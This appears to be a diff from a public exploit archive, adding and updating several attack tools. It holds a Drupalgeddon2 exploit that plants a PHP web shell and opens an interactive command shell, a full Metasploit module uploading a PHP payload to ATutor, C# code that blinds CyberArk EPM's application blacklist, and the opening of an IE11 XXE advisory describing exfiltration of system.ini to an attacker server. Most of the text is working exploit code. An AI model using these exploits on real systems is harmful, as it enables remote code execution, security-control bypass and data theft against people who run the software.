||||
# If we got something, show it!
|
||||
puts success("URL : v#{$drupalverion}?") if not $drupalverion.empty?
|
||||
end
|
||||
|
||||
# Get version from URL
|
||||
$drupalverion = uri.match(/core/)? "8.x" : "7.x"
|
||||
else
|
||||
puts "[!] MISSING: #{uri} (#{response.code})"
|
||||
tmp = $verbose ? " [HTTP Size: #{response.size}]" : ""
|
||||
puts warning("MISSING: #{uri} (HTTP Response: #{response.code})#{tmp}")
|
||||
end
|
||||
end
|
||||
|
||||
|
||||
# Feedback
|
||||
if $drupalverion
|
||||
status = $drupalverion.end_with?('x')? "?" : "!"
|
||||
puts "[+] Drupal#{status}: #{$drupalverion}"
|
||||
if not $drupalverion.empty?
|
||||
status = $drupalverion.end_with?("x")? "?" : "!"
|
||||
puts success("Drupal#{status}: v#{$drupalverion}")
|
||||
else
|
||||
puts "[!] Didn't detect Drupal version"
|
||||
puts "[!] Forcing Drupal v8.x attack"
|
||||
$drupalverion = "8.x"
|
||||
puts error("Didn't detect Drupal version")
|
||||
exit
|
||||
end
|
||||
|
||||
if not $drupalverion.start_with?("8") and not $drupalverion.start_with?("7")
|
||||
puts error("Unsupported Drupal version (#{$drupalverion})")
|
||||
exit
|
||||
end
|
||||
puts "-"*80
|
||||
|
||||
|
||||
|
||||
|
||||
# - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
|
||||
|
||||
|
||||
|
||||
# Make a request, testing code execution
|
||||
puts "[*] Testing: Code Execution"
|
||||
# Generate a random string to see if we can echo it
|
||||
random = (0...8).map { (65 + rand(26)).chr }.join
|
||||
url, payload = gen_evil_url("echo #{random}")
|
||||
response = http_post(url, payload)
|
||||
if response.code == "200" and not response.body.empty?
|
||||
#result = JSON.pretty_generate(JSON[response.body])
|
||||
result = $drupalverion.start_with?('8')? JSON.parse(response.body)[0]["data"] : response.body
|
||||
puts "[+] Result : #{result}"
|
||||
# The attack vector to use
|
||||
$form = $drupalverion.start_with?("8")? "user/register" : "user/password"
|
||||
|
||||
puts response.body.match(/#{random}/)? "[+] Good News Everyone! Target seems to be exploitable (Code execution)! w00hooOO!" : "[+] Target might to be exploitable?"
|
||||
else
|
||||
puts "[!] Target is NOT exploitable ~ HTTP Response: #{response.code}"
|
||||
# Make a request, check for form
|
||||
url = "#{$target}?q=#{$form}"
|
||||
puts action("Testing: Form (#{$form})")
|
||||
response = http_request(url, 'get', '', $session_cookie)
|
||||
if response.code == "200" and not response.body.empty?
|
||||
puts success("Result : Form valid")
|
||||
elsif response['location']
|
||||
puts error("Target is NOT exploitable [5] (HTTP Response: #{response.code})... Could try following the redirect: #{response['location']}")
|
||||
exit
|
||||
elsif response.code == "404"
|
||||
puts error("Target is NOT exploitable [4] (HTTP Response: #{response.code})... Form disabled?")
|
||||
exit
|
||||
elsif response.code == "403"
|
||||
puts error("Target is NOT exploitable [3] (HTTP Response: #{response.code})... Form blocked?")
|
||||
exit
|
||||
elsif response.body.empty?
|
||||
puts error("Target is NOT exploitable [2] (HTTP Response: #{response.code})... Got an empty response")
|
||||
exit
|
||||
else
|
||||
puts warning("WARNING: Target may NOT exploitable [1] (HTTP Response: #{response.code})")
|
||||
end
|
||||
|
||||
|
||||
puts "- "*40
|
||||
|
||||
|
||||
# Make a request, check for clean URLs status ~ Enabled: /user/register Disabled: /?q=user/register
|
||||
# Drupal v7.x needs it anyway
|
||||
$clean_url = $drupalverion.start_with?("8")? "" : "?q="
|
||||
url = "#{$target}#{$form}"
|
||||
|
||||
puts action("Testing: Clean URLs")
|
||||
response = http_request(url, 'get', '', $session_cookie)
|
||||
if response.code == "200" and not response.body.empty?
|
||||
puts success("Result : Clean URLs enabled")
|
||||
else
|
||||
$clean_url = "?q="
|
||||
puts warning("Result : Clean URLs disabled (HTTP Response: #{response.code})")
|
||||
puts verbose("response.body: #{response.body}") if $verbose
|
||||
|
||||
# Drupal v8.x needs it to be enabled
|
||||
if $drupalverion.start_with?("8")
|
||||
puts error("Sorry dave... Required for Drupal v8.x... So... NOPE NOPE NOPE")
|
||||
exit
|
||||
elsif $drupalverion.start_with?("7")
|
||||
puts info("Isn't an issue for Drupal v7.x")
|
||||
end
|
||||
end
|
||||
puts "-"*80
|
||||
|
||||
|
||||
# - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
|
||||
|
||||
|
||||
# Values in gen_evil_url for Drupal v8.x
|
||||
elementsv8 = [
|
||||
"mail",
|
||||
"timezone",
|
||||
]
|
||||
# Values in gen_evil_url for Drupal v7.x
|
||||
elementsv7 = [
|
||||
"name",
|
||||
]
|
||||
|
||||
elements = $drupalverion.start_with?("8") ? elementsv8 : elementsv7
|
||||
|
||||
elements.each do|e|
|
||||
$element = e
|
||||
|
||||
# Make a request, testing code execution
|
||||
puts action("Testing: Code Execution (Method: #{$element})")
|
||||
|
||||
# Generate a random string to see if we can echo it
|
||||
random = (0...8).map { (65 + rand(26)).chr }.join
|
||||
url, payload = gen_evil_url("echo #{random}", e)
|
||||
|
||||
response = http_request(url, "post", payload, $session_cookie)
|
||||
if (response.code == "200" or response.code == "500") and not response.body.empty?
|
||||
result = clean_result(response.body)
|
||||
if not result.empty?
|
||||
puts success("Result : #{result}")
|
||||
|
||||
if response.body.match(/#{random}/)
|
||||
puts success("Good News Everyone! Target seems to be exploitable (Code execution)! w00hooOO!")
|
||||
break
|
||||
|
||||
else
|
||||
puts warning("WARNING: Target MIGHT be exploitable [4]... Detected output, but didn't MATCH expected result")
|
||||
end
|
||||
|
||||
else
|
||||
puts warning("WARNING: Target MIGHT be exploitable [3] (HTTP Response: #{response.code})... Didn't detect any INJECTED output (disabled PHP function?)")
|
||||
end
|
||||
|
||||
puts warning("WARNING: Target MIGHT be exploitable [5]... Blind attack?") if response.code == "500"
|
||||
|
||||
puts verbose("response.body: #{response.body}") if $verbose
|
||||
puts verbose("clean_result: #{result}") if not result.empty? and $verbose
|
||||
|
||||
elsif response.body.empty?
|
||||
puts error("Target is NOT exploitable [2] (HTTP Response: #{response.code})... Got an empty response")
|
||||
exit
|
||||
|
||||
else
|
||||
puts error("Target is NOT exploitable [1] (HTTP Response: #{response.code})")
|
||||
puts verbose("response.body: #{response.body}") if $verbose
|
||||
exit
|
||||
end
|
||||
|
||||
puts "- "*40 if e != elements.last
|
||||
end
|
||||
|
||||
puts "-"*80
|
||||
|
||||
|
||||
# - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
|
||||
|
||||
|
||||
# Location of web shell & used to signal if using PHP shell
|
||||
webshellpath = nil
|
||||
webshellpath = ""
|
||||
prompt = "drupalgeddon2"
|
||||
|
||||
# Possibles paths to try
|
||||
paths = [
|
||||
"./",
|
||||
"./sites/default/",
|
||||
"./sites/default/files/",
|
||||
# Web root
|
||||
"",
|
||||
# Required for setup
|
||||
"sites/default/",
|
||||
"sites/default/files/",
|
||||
# They did something "wrong", chmod -R 0777 .
|
||||
#"core/",
|
||||
]
|
||||
# Check all
|
||||
# Check all (if doing web shell)
|
||||
paths.each do|path|
|
||||
puts "[*] Testing: File Write To Web Root (#{path})"
|
||||
# Check to see if there is already a file there
|
||||
puts action("Testing: Existing file (#{$target}#{path}#{webshell})")
|
||||
|
||||
response = http_request("#{$target}#{path}#{webshell}", 'get', '', $session_cookie)
|
||||
if response.code == "200"
|
||||
puts warning("Response: HTTP #{response.code} // Size: #{response.size}. ***Something could already be there?***")
|
||||
else
|
||||
puts info("Response: HTTP #{response.code} // Size: #{response.size}")
|
||||
end
|
||||
|
||||
puts "- "*40
|
||||
|
||||
|
||||
# - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
|
||||
|
||||
|
||||
folder = path.empty? ? "./" : path
|
||||
puts action("Testing: Writing To Web Root (#{folder})")
|
||||
|
||||
# Merge locations
|
||||
webshellpath = "#{path}#{webshell}"
|
||||
|
@ -234,41 +553,78 @@ paths.each do|path|
|
|||
# Final command to execute
|
||||
cmd = "#{bashcmd} | tee #{webshellpath}"
|
||||
|
||||
# By default, Drupal v7.x disables the PHP engine using: ./sites/default/files/.htaccess
|
||||
# ...however, Drupal v8.x disables the PHP engine using: ./.htaccess
|
||||
if path == "sites/default/files/"
|
||||
puts action("Moving : ./sites/default/files/.htaccess")
|
||||
cmd = "mv -f #{path}.htaccess #{path}.htaccess-bak; #{cmd}"
|
||||
end
|
||||
|
||||
# Generate evil URLs
|
||||
url, payload = gen_evil_url(cmd)
|
||||
url, payload = gen_evil_url(cmd, $element)
|
||||
# Make the request
|
||||
response = http_post(url, payload)
|
||||
response = http_request(url, "post", payload, $session_cookie)
|
||||
# Check result
|
||||
if response.code == "200" and not response.body.empty?
|
||||
# Feedback
|
||||
#result = JSON.pretty_generate(JSON[response.body])
|
||||
result = $drupalverion.start_with?('8')? JSON.parse(response.body)[0]["data"] : response.body
|
||||
puts "[+] Result : #{result}"
|
||||
result = clean_result(response.body)
|
||||
puts success("Result : #{result}") if not result.empty?
|
||||
|
||||
# Test to see if backdoor is there (if we managed to write it)
|
||||
response = http_post("#{$target}#{webshellpath}", "c=hostname")
|
||||
response = http_request("#{$target}#{webshellpath}", "post", "c=hostname", $session_cookie)
|
||||
if response.code == "200" and not response.body.empty?
|
||||
puts "[+] Very Good News Everyone! Wrote to the web root! Waayheeeey!!!"
|
||||
puts success("Very Good News Everyone! Wrote to the web root! Waayheeeey!!!")
|
||||
break
|
||||
|
||||
elsif response.code == "404"
|
||||
puts warning("Target is NOT exploitable [2-4] (HTTP Response: #{response.code})... Might not have write access?")
|
||||
|
||||
elsif response.code == "403"
|
||||
puts warning("Target is NOT exploitable [2-3] (HTTP Response: #{response.code})... May not be able to execute PHP from here?")
|
||||
|
||||
elsif response.body.empty?
|
||||
puts warning("Target is NOT exploitable [2-2] (HTTP Response: #{response.code})... Got an empty response back")
|
||||
|
||||
else
|
||||
puts "[!] Target is NOT exploitable. No write access here!"
|
||||
puts warning("Target is NOT exploitable [2-1] (HTTP Response: #{response.code})")
|
||||
puts verbose("response.body: #{response.body}") if $verbose
|
||||
end
|
||||
|
||||
elsif response.code == "500" and not response.body.empty?
|
||||
puts warning("Target MAY of been exploited... Bit of blind leading the blind")
|
||||
break
|
||||
|
||||
elsif response.code == "404"
|
||||
puts warning("Target is NOT exploitable [1-4] (HTTP Response: #{response.code})... Might not have write access?")
|
||||
|
||||
elsif response.code == "403"
|
||||
puts warning("Target is NOT exploitable [1-3] (HTTP Response: #{response.code})... May not be able to execute PHP from here?")
|
||||
|
||||
elsif response.body.empty?
|
||||
puts warning("Target is NOT exploitable [1-2] (HTTP Response: #{response.code}))... Got an empty response back")
|
||||
|
||||
else
|
||||
puts "[!] Target is NOT exploitable for some reason ~ HTTP Response: #{response.code}"
|
||||
puts warning("Target is NOT exploitable [1-1] (HTTP Response: #{response.code})")
|
||||
puts verbose("response.body: #{response.body}") if $verbose
|
||||
end
|
||||
webshellpath = nil
|
||||
end if writeshell
|
||||
puts "-"*80 if writeshell
|
||||
|
||||
if webshellpath
|
||||
webshellpath = ""
|
||||
|
||||
puts "- "*40 if path != paths.last
|
||||
end if try_phpshell
|
||||
|
||||
# If a web path was set, we exploited using PHP!
|
||||
if not webshellpath.empty?
|
||||
# Get hostname for the prompt
|
||||
prompt = response.body.to_s.strip
|
||||
prompt = response.body.to_s.strip if response.code == "200" and not response.body.empty?
|
||||
|
||||
# Feedback
|
||||
puts "[*] Fake shell: curl '#{$target}#{webshell}' -d 'c=whoami'"
|
||||
elsif writeshell
|
||||
puts "[!] FAILED to find writeable folder"
|
||||
puts "[*] Dropping back to ugly shell..."
|
||||
puts "-"*80
|
||||
puts info("Fake PHP shell: curl '#{$target}#{webshellpath}' -d 'c=hostname'")
|
||||
# Should we be trying to call commands via PHP?
|
||||
elsif try_phpshell
|
||||
puts warning("FAILED : Couldn't find a writeable web path")
|
||||
puts "-"*80
|
||||
puts action("Dropping back to direct OS commands")
|
||||
end
|
||||
|
||||
|
||||
|
@ -279,27 +635,32 @@ trap("INT", "SIG_IGN")
|
|||
# Forever loop
|
||||
loop do
|
||||
# Default value
|
||||
result = "ERROR"
|
||||
result = "~ERROR~"
|
||||
|
||||
# Get input
|
||||
command = Readline.readline("#{prompt}>> ", true).to_s
|
||||
|
||||
# Check input
|
||||
puts warning("WARNING: Detected an known bad character (>)") if command =~ />/
|
||||
|
||||
# Exit
|
||||
break if command =~ /exit/
|
||||
break if command == "exit"
|
||||
|
||||
# Blank link?
|
||||
next if command.empty?
|
||||
|
||||
# If PHP shell
|
||||
if webshellpath
|
||||
# If PHP web shell
|
||||
if not webshellpath.empty?
|
||||
# Send request
|
||||
result = http_post("#{$target}#{webshell}", "c=#{command}").body
|
||||
# Direct commands
|
||||
result = http_request("#{$target}#{webshellpath}", "post", "c=#{command}", $session_cookie).body
|
||||
# Direct OS commands
|
||||
else
|
||||
url, payload = gen_evil_url(command, false)
|
||||
response = http_post(url, payload)
|
||||
if response.code == "200" and not response.body.empty?
|
||||
result = $drupalverion.start_with?('8')? JSON.parse(response.body)[0]["data"] : response.body
|
||||
url, payload = gen_evil_url(command, $element, true)
|
||||
response = http_request(url, "post", payload, $session_cookie)
|
||||
|
||||
# Check result
|
||||
if not response.body.empty?
|
||||
result = clean_result(response.body)
|
||||
end
|
||||
end
|
||||
|
||||
|
|
287
exploits/php/webapps/46691.rb
Executable file
287
exploits/php/webapps/46691.rb
Executable file
|
@ -0,0 +1,287 @@
|
|||
##
|
||||
# This module requires Metasploit: http://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
class MetasploitModule < Msf::Exploit::Remote
|
||||
Rank = ExcellentRanking
|
||||
|
||||
include Msf::Exploit::Remote::HttpClient
|
||||
include Msf::Exploit::FileDropper
|
||||
|
||||
def initialize(info={})
|
||||
super(update_info(info,
|
||||
'Name' => "ATutor < 2.2.4 'file_manager' Remote Code Execution",
|
||||
'Description' => %q{
|
||||
This module allows the user to run commands on the server with teacher user privilege.
|
||||
The 'Upload files' section in the 'File Manager' field contains arbitrary file upload vulnerability.
|
||||
The "$IllegalExtensions" function has control weakness and shortcomings.
|
||||
It is possible to see illegal extensions within "constants.inc.php". (exe|asp|php|php3|php5|cgi|bat...)
|
||||
However, there is no case-sensitive control. Therefore, it is possible to bypass control with filenames such as ".phP", ".Php"
|
||||
It can also be used in dangerous extensions such as "shtml" and "phtml".
|
||||
The directory path for the "content" folder is located at "config.inc.php".
|
||||
For the exploit to work, the "define ('AT_CONTENT_DIR', 'address')" content folder must be located in the web home directory or the address must be known.
|
||||
|
||||
This exploit creates a course with the teacher user and loads the malicious php file into server.
|
||||
},
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' =>
|
||||
[
|
||||
'AkkuS <Özkan Mustafa Akkuş>', # Discovery & PoC & MSF Module
|
||||
],
|
||||
'References' =>
|
||||
[
|
||||
[ 'CVE', '' ],
|
||||
[ 'URL', 'http://pentest.com.tr/exploits/ATutor-2-2-4-file-manager-Remote-Code-Execution-Injection-Metasploit.html' ],
|
||||
[ 'URL', 'https://atutor.github.io/' ],
|
||||
[ 'URL', 'http://www.atutor.ca/' ]
|
||||
],
|
||||
'Privileged' => false,
|
||||
'Payload' =>
|
||||
{
|
||||
'DisableNops' => true,
|
||||
},
|
||||
'Platform' => ['php'],
|
||||
'Arch' => ARCH_PHP,
|
||||
'Targets' => [[ 'Automatic', { }]],
|
||||
'DisclosureDate' => '09 April 2019',
|
||||
'DefaultTarget' => 0))
|
||||
|
||||
register_options(
|
||||
[
|
||||
OptString.new('TARGETURI', [true, 'The path of Atutor', '/ATutor/']),
|
||||
OptString.new('USERNAME', [true, 'The Teacher Username to authenticate as']),
|
||||
OptString.new('PASSWORD', [true, 'The Teacher password to authenticate with']),
|
||||
OptString.new('CONTENT_DIR', [true, 'The content folder location', 'content'])
|
||||
],self.class)
|
||||
end
|
||||
|
||||
def exec_payload
|
||||
|
||||
send_request_cgi({
|
||||
'method' => 'GET',
|
||||
'uri' => normalize_uri(target_uri.path, "#{datastore['CONTENT_DIR']}", @course_id, "#{@fn}")
|
||||
})
|
||||
end
|
||||
|
||||
def peer
|
||||
"#{ssl ? 'https://' : 'http://' }#{rhost}:#{rport}"
|
||||
end
|
||||
|
||||
def print_status(msg='')
|
||||
super("#{peer} - #{msg}")
|
||||
end
|
||||
|
||||
def print_error(msg='')
|
||||
super("#{peer} - #{msg}")
|
||||
end
|
||||
|
||||
def print_good(msg='')
|
||||
super("#{peer} - #{msg}")
|
||||
end
|
||||
##
|
||||
# Version and Vulnerability Check
|
||||
##
|
||||
def check
|
||||
|
||||
res = send_request_cgi({
|
||||
'method' => 'GET',
|
||||
'uri' => normalize_uri(target_uri.path, "#{datastore['CONTENT_DIR']}/")
|
||||
})
|
||||
|
||||
unless res
|
||||
vprint_error 'Connection failed'
|
||||
return CheckCode::Unknown
|
||||
end
|
||||
|
||||
if res.code == 404
|
||||
return Exploit::CheckCode::Safe
|
||||
end
|
||||
return Exploit::CheckCode::Appears
|
||||
end
|
||||
##
|
||||
# csrftoken read and create a new course
|
||||
##
|
||||
def create_course(cookie, check)
|
||||
|
||||
res = send_request_cgi({
|
||||
'method' => 'GET',
|
||||
'uri' => normalize_uri(target_uri.path, "mods", "_core", "courses", "users", "create_course.php"),
|
||||
'headers' =>
|
||||
{
|
||||
'Referer' => "#{peer}#{datastore['TARGETURI']}users/index.php",
|
||||
'cookie' => cookie,
|
||||
},
|
||||
'agent' => 'Mozilla'
|
||||
})
|
||||
|
||||
if res && res.code == 200 && res.body =~ /Create Course: My Start Pag/
|
||||
@token = res.body.split('csrftoken" value="')[1].split('"')[0]
|
||||
else
|
||||
return false
|
||||
end
|
||||
|
||||
@course_name = Rex::Text.rand_text_alpha_lower(5)
|
||||
post_data = Rex::MIME::Message.new
|
||||
post_data.add_part(@token, nil, nil,'form-data; name="csrftoken"')
|
||||
post_data.add_part('true', nil, nil, 'form-data; name="form_course"')
|
||||
post_data.add_part(@course_name, nil, nil, 'form-data; name="title"')
|
||||
post_data.add_part('top', nil, nil, 'form-data; name="content_packaging"')
|
||||
post_data.add_part('protected', nil, nil, 'form-data; name="access"')
|
||||
post_data.add_part('Save', nil, nil, 'form-data; name="submit"')
|
||||
data = post_data.to_s
|
||||
|
||||
res = send_request_cgi({
|
||||
'method' => 'POST',
|
||||
'data' => data,
|
||||
'agent' => 'Mozilla',
|
||||
'ctype' => "multipart/form-data; boundary=#{post_data.bound}",
|
||||
'cookie' => cookie,
|
||||
'uri' => normalize_uri(target_uri.path, "mods", "_core", "courses", "users", "create_course.php")
|
||||
})
|
||||
|
||||
location = res.redirection.to_s
|
||||
if res && res.code == 302 && location.include?('bounce.php?course')
|
||||
@course_id = location.split('course=')[1].split("&p")[0]
|
||||
return true
|
||||
else
|
||||
return false
|
||||
end
|
||||
end
|
||||
##
|
||||
# Upload malicious file // payload integration
|
||||
##
|
||||
def upload_shell(cookie, check)
|
||||
|
||||
res = send_request_cgi({
|
||||
'method' => 'GET',
|
||||
'uri' => normalize_uri(target_uri.path, "bounce.php?course=" + @course_id),
|
||||
'headers' =>
|
||||
{
|
||||
'Referer' => "#{peer}#{datastore['TARGETURI']}users/index.php",
|
||||
'cookie' => cookie,
|
||||
},
|
||||
'agent' => 'Mozilla'
|
||||
})
|
||||
|
||||
ucookie = "ATutorID=#{$2};" if res.get_cookies =~ /ATutorID=(.*); ATutorID=(.*);/
|
||||
|
||||
file_name = Rex::Text.rand_text_alpha_lower(8) + ".phP"
|
||||
@fn = "#{file_name}"
|
||||
post_data = Rex::MIME::Message.new
|
||||
post_data.add_part('10485760', nil, nil, 'form-data; name="MAX_FILE_SIZE"')
|
||||
post_data.add_part(payload.encoded, 'application/octet-stream', nil, "form-data; name=\"uploadedfile\"; filename=\"#{file_name}\"")
|
||||
post_data.add_part('Upload', nil, nil, 'form-data; name="submit"')
|
||||
post_data.add_part('', nil, nil, 'form-data; name="pathext"')
|
||||
|
||||
data = post_data.to_s
|
||||
|
||||
res = send_request_cgi({
|
||||
'method' => 'POST',
|
||||
'data' => data,
|
||||
'agent' => 'Mozilla',
|
||||
'ctype' => "multipart/form-data; boundary=#{post_data.bound}",
|
||||
'cookie' => ucookie,
|
||||
'uri' => normalize_uri(target_uri.path, "mods", "_core", "file_manager", "upload.php")
|
||||
})
|
||||
|
||||
if res && res.code == 302 && res.redirection.to_s.include?('index.php?pathext')
|
||||
print_status("Trying to upload #{file_name}")
|
||||
return true
|
||||
else
|
||||
print_status("Error occurred during uploading!")
|
||||
return false
|
||||
end
|
||||
end
|
||||
##
|
||||
# Password encryption with csrftoken
|
||||
##
|
||||
def get_hashed_password(token, password, check)
|
||||
if check
|
||||
return Rex::Text.sha1(password + token)
|
||||
else
|
||||
return Rex::Text.sha1(Rex::Text.sha1(password) + token)
|
||||
end
|
||||
end
|
||||
##
|
||||
# User login operations
|
||||
##
|
||||
def login(username, password, check)
|
||||
res = send_request_cgi({
|
||||
'method' => 'GET',
|
||||
'uri' => normalize_uri(target_uri.path, "login.php"),
|
||||
'agent' => 'Mozilla',
|
||||
})
|
||||
|
||||
token = $1 if res.body =~ /\) \+ \"(.*)\"\);/
|
||||
cookie = "ATutorID=#{$1};" if res.get_cookies =~ /; ATutorID=(.*); ATutorID=/
|
||||
if check
|
||||
password = get_hashed_password(token, password, true)
|
||||
else
|
||||
password = get_hashed_password(token, password, false)
|
||||
end
|
||||
|
||||
res = send_request_cgi({
|
||||
'method' => 'POST',
|
||||
'uri' => normalize_uri(target_uri.path, "login.php"),
|
||||
'vars_post' => {
|
||||
'form_password_hidden' => password,
|
||||
'form_login' => username,
|
||||
'submit' => 'Login'
|
||||
},
|
||||
'cookie' => cookie,
|
||||
'agent' => 'Mozilla'
|
||||
})
|
||||
cookie = "ATutorID=#{$2};" if res.get_cookies =~ /(.*); ATutorID=(.*);/
|
||||
|
||||
if res && res.code == 302
|
||||
if res.redirection.to_s.include?('bounce.php?course=0')
|
||||
res = send_request_cgi({
|
||||
'method' => 'GET',
|
||||
'uri' => normalize_uri(target_uri.path, res.redirection),
|
||||
'cookie' => cookie,
|
||||
'agent' => 'Mozilla'
|
||||
})
|
||||
cookie = "ATutorID=#{$1};" if res.get_cookies =~ /ATutorID=(.*);/
|
||||
if res && res.code == 302 && res.redirection.to_s.include?('users/index.php')
|
||||
res = send_request_cgi({
|
||||
'method' => 'GET',
|
||||
'uri' => normalize_uri(target_uri.path, res.redirection),
|
||||
'cookie' => cookie,
|
||||
'agent' => 'Mozilla'
|
||||
})
|
||||
cookie = "ATutorID=#{$1};" if res.get_cookies =~ /ATutorID=(.*);/
|
||||
return cookie
|
||||
end
|
||||
else res.redirection.to_s.include?('admin/index.php')
|
||||
fail_with(Failure::NoAccess, 'The account is the administrator. Please use a teacher account!')
|
||||
return cookie
|
||||
end
|
||||
end
|
||||
|
||||
fail_with(Failure::NoAccess, "Authentication failed with username #{username}")
|
||||
return nil
|
||||
end
|
||||
##
|
||||
# Exploit controls and information
|
||||
##
|
||||
def exploit
|
||||
tcookie = login(datastore['USERNAME'], datastore['PASSWORD'], false)
|
||||
print_good("Logged in as #{datastore['USERNAME']}")
|
||||
|
||||
if create_course(tcookie, true)
|
||||
print_status("CSRF Token : " + @token)
|
||||
print_status("Course Name : " + @course_name + " Course ID : " + @course_id)
|
||||
print_good("New course successfully created.")
|
||||
end
|
||||
|
||||
if upload_shell(tcookie, true)
|
||||
print_good("Upload successfully.")
|
||||
print_status("Trying to exec payload...")
|
||||
exec_payload
|
||||
end
|
||||
end
|
||||
end
|
||||
##
|
||||
# The end of the adventure (o_O) // AkkuS
|
||||
##
|
72
exploits/windows/local/46688.txt
Normal file
72
exploits/windows/local/46688.txt
Normal file
|
@ -0,0 +1,72 @@
|
|||
# Exploit Title: CyberArk Endpoint bypass
|
||||
# Google Dork: -
|
||||
# Date: 03/06/2018
|
||||
# Exploit Author: Alpcan Onaran
|
||||
# Vendor Homepage: https://www.cyberark.com
|
||||
# Software Link: -
|
||||
# Version: 10.2.1.603
|
||||
# Tested on: Windows 10
|
||||
# CVE : CVE-2018-14894
|
||||
|
||||
//If user needs admin privileges, CyberArk gives the admin token to user for spesific process not for the whole system. It is cool idea.
|
||||
//This product also has a function called “Application Blacklist”. You probably know what that means.
|
||||
//It helps you to block to execute specified application by CyberArk admin. In normal cases, you can not be able to start this process even with admin rights.
|
||||
//But We found very interesting trick to make CyberArk blind completely.All you need to do, revoke read privileges for system on the file that you want to open it.
|
||||
//After you do that, CyberArk EPM can not be able to get information about your blocked file and it just let them execute
|
||||
|
||||
This exploit works on CyberArk EPM 10.2.1.603 and below. (Tested on Windows 10 x64)
|
||||
using System;
|
||||
using System.Collections.Generic;
|
||||
using System.ComponentModel;
|
||||
using System.Data;
|
||||
using System.Drawing;
|
||||
using System.Linq;
|
||||
using System.Text;
|
||||
using System.Windows.Forms;
|
||||
using System;
|
||||
using System.IO;
|
||||
using System.Security.AccessControl;
|
||||
|
||||
namespace raceagainstthesystem
|
||||
{
|
||||
public partial class Form1 : Form
|
||||
{
|
||||
public Form1()
|
||||
{
|
||||
InitializeComponent();
|
||||
}
|
||||
|
||||
private void btn_change_access_control_Click(object sender, EventArgs e)
|
||||
{
|
||||
string fileName = txt_filepath.Text;
|
||||
FileSecurity fSecurity = File.GetAccessControl(fileName);
|
||||
fSecurity.AddAccessRule(new FileSystemAccessRule(@"SYSTEM",
|
||||
FileSystemRights.ReadData, AccessControlType.Deny));
|
||||
File.SetAccessControl(fileName, fSecurity);
|
||||
|
||||
/*
|
||||
fSecurity.RemoveAccessRule(new FileSystemAccessRule(@"SYSTEM",
|
||||
FileSystemRights.ReadData, AccessControlType.Allow));
|
||||
*/
|
||||
|
||||
File.SetAccessControl(fileName, fSecurity);
|
||||
}
|
||||
|
||||
private void btn_choseFile_Click(object sender, System.EventArgs e)
|
||||
{
|
||||
OpenFileDialog choofdlog = new OpenFileDialog();
|
||||
choofdlog.Filter = "All Files (*.*)|*.*";
|
||||
choofdlog.FilterIndex = 1;
|
||||
choofdlog.Multiselect = true;
|
||||
|
||||
string sFileName = "";
|
||||
|
||||
if (choofdlog.ShowDialog() == DialogResult.OK)
|
||||
{
|
||||
sFileName = choofdlog.FileName;
|
||||
string[] arrAllFiles = choofdlog.FileNames; //used when Multiselect = true
|
||||
}
|
||||
txt_filepath.Text = sFileName;
|
||||
}
|
||||
}
|
||||
}
|
183
exploits/windows/local/46690.txt
Normal file
183
exploits/windows/local/46690.txt
Normal file
|
@ -0,0 +1,183 @@
|
|||
[+] Credits: John Page (aka hyp3rlinx)
|
||||
[+] Website: hyp3rlinx.altervista.org
|
||||
[+] Source: http://hyp3rlinx.altervista.org/advisories/MICROSOFT-INTERNET-EXPLORER-v11-XML-EXTERNAL-ENTITY-INJECTION-0DAY.txt
|
||||
[+] ISR: ApparitionSec
|
||||
|
||||
|
||||
[Vendor]
|
||||
www.microsoft.com
|
||||
|
||||
|
||||
[Product]
|
||||
Microsoft Internet Explorer v11
|
||||
(latest version)
|
||||
|
||||
Internet Explorer is a series of graphical web browsers developed by Microsoft and included in the Microsoft Windows line of operating systems, starting in 1995.
|
||||
|
||||
|
||||
[Vulnerability Type]
|
||||
XML External Entity Injection
|
||||
|
||||
|
||||
|
||||
[CVE Reference]
|
||||
N/A
|
||||
|
||||
|
||||
|
||||
[Security Issue]
|
||||
Internet Explorer is vulnerable to XML External Entity attack if a user opens a specially crafted .MHT file locally.
|
||||
|
||||
This can allow remote attackers to potentially exfiltrate Local files and conduct remote reconnaissance on locally installed
|
||||
Program version information. Example, a request for "c:\Python27\NEWS.txt" can return version information for that program.
|
||||
|
||||
Upon opening the malicious ".MHT" file locally it should launch Internet Explorer. Afterwards, user interactions like duplicate tab "Ctrl+K"
|
||||
and other interactions like right click "Print Preview" or "Print" commands on the web-page may also trigger the XXE vulnerability.
|
||||
|
||||
However, a simple call to the window.print() Javascript function should do the trick without requiring any user interaction with the webpage.
|
||||
Importantly, if files are downloaded from the web in a compressed archive and opened using certain archive utilities MOTW may not work as advertised.
|
||||
|
||||
Typically, when instantiating ActiveX Objects like "Microsoft.XMLHTTP" users will get a security warning bar in IE and be prompted
|
||||
to activate blocked content. However, when opening a specially crafted .MHT file using malicious <xml> markup tags the user will get no such
|
||||
active content or security bar warnings.
|
||||
|
||||
e.g.
|
||||
|
||||
C:\sec>python -m SimpleHTTPServer
|
||||
Serving HTTP on 0.0.0.0 port 8000 ...
|
||||
127.0.0.1 - - [10/Apr/2019 20:56:28] "GET /datatears.xml HTTP/1.1" 200 -
|
||||
127.0.0.1 - - [10/Apr/2019 20:56:28] "GET /?;%20for%2016-bit%20app%20support[386Enh]woafont=dosapp.fonEGA80WOA.FON=EGA80WOA.FONEGA40WOA.FON=EGA40WOA.FONCGA80WOA.FON=CGA80WOA.FONCGA40WOA.FON=CGA40WOA.FON[drivers]wave=mmdrv.dlltimer=timer.drv[mci] HTTP/1.1" 200 -
|
||||
|
||||
|
||||
Tested successfully in latest Internet Explorer Browser v11 with latest security patches on Win7/10 and Server 2012 R2.
|
||||
|
||||
|
||||
|
||||
[POC/Video URL]
|
||||
https://www.youtube.com/watch?v=fbLNbCjgJeY
|
||||
|
||||
|
||||
|
||||
[Exploit/POC]
|
||||
POC to exfil Windows "system.ini" file.
|
||||
Note: Edit attacker server IP in the script to suit your needs.
|
||||
|
||||
1) Use below script to create the "datatears.xml" XML and XXE embedded "msie-xxe-0day.mht" MHT file.
|
||||
|
||||
2) python -m SimpleHTTPServer
|
||||
|
||||
3) Place the generated "datatears.xml" in Python server web-root.
|
||||
|
||||
4) Open the generated "msie-xxe-0day.mht" file, watch your files be exfiltrated.
|
||||
|
||||
|
